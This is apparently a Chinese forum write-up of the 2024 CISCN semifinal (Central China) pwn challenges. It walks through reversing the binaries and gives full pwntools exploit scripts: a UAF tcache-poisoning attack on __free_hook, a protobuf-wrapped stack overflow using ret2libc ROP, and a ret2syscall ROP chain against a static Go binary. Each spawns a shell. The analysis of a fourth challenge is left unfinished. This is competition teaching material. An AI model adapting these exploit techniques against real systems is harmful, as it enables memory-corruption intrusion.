-
-
2024全国大学生信息安全竞赛(ciscn)半决赛华中赛区Pwn题解
-
4天前 1373
-
简介
前段时间赛前准备把ciscn东北赛区、华南赛区、西南赛区半决赛的题都复现完了。
可惜遇到了华东北赛区的离谱平台和离谱pwn出题人:
- 假的awdp(直接传到靶机,然后连上去cat /flag.txt即可)
- 题型分布不合理,8个web 2个pwn(还是没有libc的栈上签到题)
今天把华中赛区的题目也都复现了一下,题目分布为1个简单堆、1个高版本堆、1个go和1个protobuf。
对比之下,华东北的题最烂。
Pwn1-note
签到堆题,2.31版本libc(tcache利用最简单的版本)。
题目没去除符号表,经典菜单题,逆向也不复杂。
逆向分析
拖入IDA分析:
经典的增删改查菜单,逐个分析。
add
可以申请最多1024个任意大小的chunk(小于0x1000)。
edit
正常编辑功能,不存在溢出。
delete
关键漏洞点,存在UAF漏洞。
show
正常打印输出chunk中的内容。
利用思路
题目给的glibc2.31相对来说还是比较好利用的,没有fd指针也加密,malloc也不检查是否0x10对齐。
存在UAF漏洞,没有任何限制。打法有很多种,最简单的就是tcache poisoning打__free_hook -> system。
通过tcache泄露堆地址,通过unsorted bin泄露libc,然后修改tcache的fd指针指向free_hook。
修改free_hook为system,然后释放一个带有/bin/sh的chunk即可完成利用。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | from pwn import * elf = ELF( "./pwn" ) libc = ELF( "./libc.so.6" ) p = process([elf.path]) context(arch = elf.arch, os = elf.os) context.log_level = 'debug' def add_chunk(size, content): p.sendlineafter(b "5. exit\n" , b "1" ) p.sendlineafter(b "content: \n" , str (size).encode()) p.sendlineafter(b "content: \n" , content) def edit_chunk(index, content): p.sendlineafter(b "5. exit\n" , b "2" ) p.sendlineafter(b "index: \n" , str (index).encode()) p.sendlineafter(b "content: \n" , str ( len (content)).encode()) p.sendafter(b "Content: \n" , content) def delete_chunk(index): p.sendlineafter(b "5. exit\n" , b "3" ) p.sendlineafter(b "index: \n" , str (index).encode()) def show_chunk(index): p.sendlineafter(b "5. exit\n" , b "4" ) p.sendlineafter(b "index:" , str (index).encode()) # leak heap and libc for i in range ( 9 ): add_chunk( 0x98 , b 'a' * 0x98 ) # 0-8 for i in range ( 7 ): delete_chunk( 6 - i) delete_chunk( 7 ) show_chunk( 0 ) heap_base = u64(p.recvuntil((b '\x55' , b '\x56' ))[ - 6 :].ljust( 8 , b '\x00' )) & ~ 0xFFF success( "heap_base = " + hex (heap_base)) show_chunk( 7 ) libc_base = u64(p.recvuntil(b '\x7f' )[ - 6 :].ljust( 8 , b '\x00' )) - 0x1ecbe0 libc.address = libc_base success( "libc_base = " + hex (libc_base)) # tcache poisoning free_hook = libc.sym[ '__free_hook' ] system = libc.sym[ 'system' ] edit_chunk( 1 , b '/bin/sh\x00' ) edit_chunk( 0 , p64(free_hook)) add_chunk( 0x98 , b 'b' * 0x98 ) # 9 add_chunk( 0x98 , p64(system)) # 10 __free_hook # gdb.attach(p) # pause() delete_chunk( 1 ) p.interactive() |
Pwn2-protoverflow
题目很简单,ret2libc。
难点在于交互时套了一层C++ Protobuf的壳。
Protobuf-C逆向可以参考《深入二进制安全:全面解析Protobuf》文章,近期会再更新一期关于C++中Protobuf结构体还原的方法。
逆向分析
发现程序运行时会打印puts函数地址,泄露libc。然后解析Protobuf结构体并调用真正的主函数。
结构体还原
使用pbtk工具:
1 | pbtk - 1.0 . 5 / extractors / from_binary.py . / pwn |
得到结构体:
syntax = "proto2"; message protoMessage { optional string name = 1; optional string phoneNumber = 2; required bytes buffer = 3; required uint32 size = 4; }
利用思路
name和phoneNumber可选,没什么用。
buffer为字符串,size可自定义,调用memcpy时会存在栈溢出漏洞。
已知libc,可以考虑直接ret2libc。
(这里需要注意的是,经过编译后的Protobuf会在头部增加一个Message结构体,下标3开始才是我们的字段)
(而if里判断了下标为2的参数,这里猜测是判断结构体中name和phoneNumber字段是否为空)
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | from pwn import * import message_pb2 elf = ELF( "./pwn" ) libc = ELF( "/lib/x86_64-linux-gnu/libc.so.6" ) p = process([elf.path]) context(arch = elf.arch, os = elf.os) context.log_level = 'debug' # leak libc p.recvuntil(b 'Gift: ' ) gift = int (p.recv( 14 ), 16 ) libc_base = gift - libc.sym[ 'puts' ] libc.address = libc_base success( "libc_base = " + hex (libc_base)) # rop system = libc.sym[ 'system' ] binsh = next (libc.search(b '/bin/sh\x00' )) ret = next (libc.search(asm( 'ret' ), executable = True )) pop_rdi = next (libc.search(asm( 'pop rdi; ret' ), executable = True )) pop_rsi = next (libc.search(asm( 'pop rsi; ret' ), executable = True )) pop_rdx_r12 = next (libc.search(asm( 'pop rdx; pop r12; ret' ), executable = True )) rop = b 'a' * 0x210 + b 'deadbeef' rop + = p64(pop_rdi) + p64(binsh) rop + = p64(pop_rsi) + p64( 0 ) + p64(pop_rdx_r12) + p64( 0 ) * 2 rop + = p64(system) # gdb.attach(p, 'b *$rebase(0x3345)\nc') # pause() message = message_pb2.protoMessage() message. buffer = rop message.size = len (rop) p.send(message.SerializeToString()) p.interactive() |
Pwn3-go_note
Go语言静态编译的题目,IDA反编译不是很好,但是代码不复杂且漏洞点很好发现。
关键问题是没有libc,需要找一些ROP来调用静态编译的函数,方法可能不是最优解,但是很容易想到。
逆向分析
Go语言逆向,相比于C语言的区别如下:
main函数名为main_main(如果去除符号表,考虑通过bindiff还原)
参数依次通过寄存器传递:AX、BX、CX、DI、SI、R8、R9、R10、R11
对于Go语言逆向,IDA支持不是很好,我们需要结合汇编代码和动态调试来分析。
找到main_main函数:
好在不是很复杂,根据菜单发现有add、delete、edit和show功能,依次分析。
add
存在一个Notes结构体,存储len和array结构体数组。add函数会将id、content_len和content加入到array结构体数组中。
delete
直接看变量有点复杂,结合gdb调试发现不存在UAF漏洞。
edit
直接看变量有点复杂,结合gdb动态调试发现这里没有判断输入长度,存在溢出漏洞并能覆盖到返回地址。
show
看上去没有什么漏洞,直接打印内容。
利用思路
结合动态调试,发现edit存在栈溢出漏洞,可以劫持程序的控制流程。
由于题目没有给出libc,也没办法泄露相关地址,我直接采用了ret2syscall。
题目是静态编译,搜索下syscall发现有如下函数:
我们的目的是执行execve("/bin/sh", 0, 0)。rax寄存器为系统调用号,rbx、rcx、rdi是系统调用的三个参数。
然后通过ROPgadget找到gadget:
1 2 3 4 5 6 | rw_mem = 0x527088 pop_rax_rbp = 0x0000000000404408 # pop rax, rbp; ret pop_rbx = 0x0000000000404541 # pop rbx; ret mov_rcx_0 = 0x000000000040318f # mov rcx, 0; ret xor_edi_add_rsp_10_pop_rbp = 0x0000000000411aee # xor edi, edi; add rsp 0x10; pop rbp; ret syscall = 0x403160 |
找不到pop rcx和pop rdi指令,由于rcx和rdi都应该置0,所以可以找mov或者xor指令替代。
经过一番查找,发现一条mov rcx, 0指令可以把rcx寄存器置0。
并且,有一条xor edi, edi; add rsp, 0x10; pop rbp;指令,只要能够让edi置0即可,后面的指令相当于弹出栈上3个参数,填充即可。
现在距离拿下shell只差一步,题目没有/bin/sh字符串,需要我们想办法写入一个已知地址。
经过调试发现,add函数将内容写在了堆上,我们可以考虑利用一些gadget将字符串写到bss段上。
比如,可以通过下面的gadget:
1 2 3 4 | # use to write /bin/sh # ... # pop rax, rbp; ret pop_rdx = 0x000000000047a8fa # pop rdx; ret mov_meax_edx = 0x0000000000402fd1 # mov [eax], edx |
1 2 3 4 5 6 7 8 | # write /bin to rw_mem payload + = p64(pop_rax_rbp) + p64(rw_mem) + p64( 0 ) payload + = p64(pop_rdx) + b '/bin' + b '\x00' * 4 payload + = p64(mov_meax_edx) # write /sh to rw_mem payload + = p64(pop_rax_rbp) + p64(rw_mem + 4 ) + p64( 0 ) payload + = p64(pop_rdx) + b '/sh' + b '\x00' * 5 payload + = p64(mov_meax_edx) |
然后正常的覆盖返回地址到rop gadget执行ret2syscall即可。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | from pwn import * elf = ELF( "./note" ) p = process([elf.path]) context(arch = elf.arch, os = elf.os) context.log_level = 'debug' # rop rw_mem = 0x527088 pop_rax_rbp = 0x0000000000404408 # pop rax, rbp; ret pop_rbx = 0x0000000000404541 # pop rbx; ret mov_rcx_0 = 0x000000000040318f # mov rcx, 0; ret xor_edi_add_rsp_10_pop_rbp = 0x0000000000411aee # xor edi, edi; add rsp 0x10; pop rbp; ret syscall = 0x403160 # use to write /bin/sh # ... # pop rax, rbp; ret pop_rdx = 0x000000000047a8fa # pop rdx; ret mov_meax_edx = 0x0000000000402fd1 # mov [eax], edx payload = b 'a' * 0x38 + b 'deadbeef' # write /bin to rw_mem payload + = p64(pop_rax_rbp) + p64(rw_mem) + p64( 0 ) payload + = p64(pop_rdx) + b '/bin' + b '\x00' * 4 payload + = p64(mov_meax_edx) # write /sh to rw_mem payload + = p64(pop_rax_rbp) + p64(rw_mem + 4 ) + p64( 0 ) payload + = p64(pop_rdx) + b '/sh' + b '\x00' * 5 payload + = p64(mov_meax_edx) # syscall 0x3b payload + = p64(pop_rax_rbp) + p64( 0x3b ) + p64( 0 ) payload + = p64(pop_rbx) + p64(rw_mem) payload + = p64(mov_rcx_0) payload + = p64(xor_edi_add_rsp_10_pop_rbp) + p64( 0 ) * 3 payload + = p64(syscall) p.sendline(b '1' ) p.sendline(b 'a' ) p.sendline(b '3' ) p.sendline(b '1' ) # gdb.attach(p, 'b *0x47F41E\nc') # pause() p.sendline(payload) p.interactive() |
Pwn4-starlink
逆向起来比较费劲,涉及到了SSE指令,IDA反编译的有问题,并且结构体设置的比较复杂。
除了final和destroy函数都逆了下,但是没有找到漏洞点,有兴趣的师傅可以做一下。(听武汉大学的secsome师傅和V3rdant师傅说是start结构体的0x00偏移量位置的计数器没有+1,这里确实是一个漏洞点,但是不知道后续怎么利用。)
(secsome师傅说IDA把一堆32bytes的识别成xmm导致反编译的有问题)
这里给出一部分逆向分析过程。
逆向分析
查看main函数,发现是经典菜单题,选项多了点,逐个分析。
add_star
最多申请0x100个chunk。输入idx、size和content,申请0x60大小的chunk_a后申请指定size的chunk_b。
与常规题目不同的是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | if ( ptr ) { __printf_chk(1LL, "Data: " ); read(0, ptr, size); *(_QWORD *)&vars0 = 1LL; vars40 = &vars30.m128i_i64[1]; *((_QWORD *)&vars0 + 1) = idx; vars10 = 0uLL; *(_QWORD *)&buf = 0LL; *((_QWORD *)&buf + 1) = size; vars48 = 0LL; vars30 = _mm_unpacklo_epi64((__m128i)(unsigned __int64 )ptr, (__m128i)(unsigned __int64 )&vars30.m128i_u64[1]); *((_QWORD *)heap_array + idx) = &vars0; return puts ( "Star created!" ); } |
这段代码很奇怪,反编译有问题。
前面将申请的0x60大小chunk_a的用户区域指针赋值给了rbp,chunk_b的用户区域指针赋值给了r12。
这里read内容到chunk_b后执行了一系列命令,可以看下汇编:
执行如下操作:
- [chunk_a] = 1
- [chunk_a + 8] = idx
- [rbp + 0x40] = &chunk_a + 0x38
- [rbp + 0x28] = size
而对于punpcklqdq xmm0, xmm1指令,动态调试发现:
执行结果,xmm0为16字节。低8字节为&chunk_b,高8字节为&chunk_a + 0x38。
然后执行如下操作:
- [chunk_a + 0x30] = xmm0,即[rbp + 0x30] = &chunk_b,[rbp + 0x38] = &chunk_a + 0x38。
- heap_array[idx] = &chunk_a。
动态调试后结构如下所示:
add_link
输入chunk_a和chunk_b的下标,然后输入distance,会判断chunk+0x20的位置是否有数据,若不为0则代表已经finalize。
然后判断chunk+0x10的位置是不是小于0x100,猜测这里是代表当前结点的连接数量。
后面的部分看汇编代码:
申请0x30大小的chunk作为link结构体。它执行如下操作:
- rcx = [chunk_a + 0x38]
- xmm0 = &chunk_b
- rdx = &link_chunk + 0x10
- [link_chunk] = distance
- r12 = r12 + 1
- rsi = &chunk_a + 0x38
- edi = 0x20
- xmm3 = [chunk_a + 0x38]
- [link_chunk + 0x18] = &chunk_a + 0x38
- punpcklqdq xmm0, xmm3,结果是xmm0的低8字节为&chunk_b,高8字节为[chunk_a + 0x38]。
- [link_chunk + 0x8] = &chunk_b,[link_chunk + 0x10] = [chunk_a + 0x38]
- [[chunk_a + 0x38] + 8] = &link_chunk + 0x10
- [chunk_a + 0x38] = &link_chunk + 0x10
- [chunk_a + 0x10] = [chunk_a + 0x10] + 1
动态调试结果如下:
然后再次调用malloc申请一个0x30大小的chunk,执行如下操作:
- rcx = [chunk_b + 0x38]
- xmm0 = &chunk_a
- rdx = &chunk_link + 0x10
- [chunk_link] = distance
- rsi = &chunk_b + 0x38
- xmm4 = [chunk_b + 0x38]
- [chunk_link + 0x18] = &chunk_b + 0x38
- punpcklqdq xmm0, xmm3,结果是xmm0的低8字节为&chunk_a,高8字节为[chunk_b + 0x38]。
- [chunk_link + 0x8] = &chunk_a,[chunk_link + 0x10] = [chunk_b + 0x38]
- [[chunk_b + 0x38] + 8] = &chunk_link + 0x10
- [chunk_b + 0x38] = &chunk_link + 0x10
- [chunk_b + 0x10] = [chunk_b + 0x10] + 1
动态调试结果如下:
view_start
根据输入的idx输出对应的Index、Data、LinkCount和Distance。
可以结合这个show函数还原部分结构:
大概可以知道,start存储了Index、data_len、data_ptr和Link_count,并且和这个start相关的link组成了一个双向链表。
对于每个start的link,存储distance、star_ptr、fd和bk,类似于链表实现邻接矩阵。
update_star
根据update函数,又能推断出一些信息:field_20和finalize有关。
然后可以正常edit数据区域,不存在溢出漏洞。
push_star
将field_0的值减1,如果field_0为0则进入清理操作。
将所有link删除,然后将star删除。
final
final函数用于构建graph。
后面实在不想分析了,看了会也没找到漏洞在哪。
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法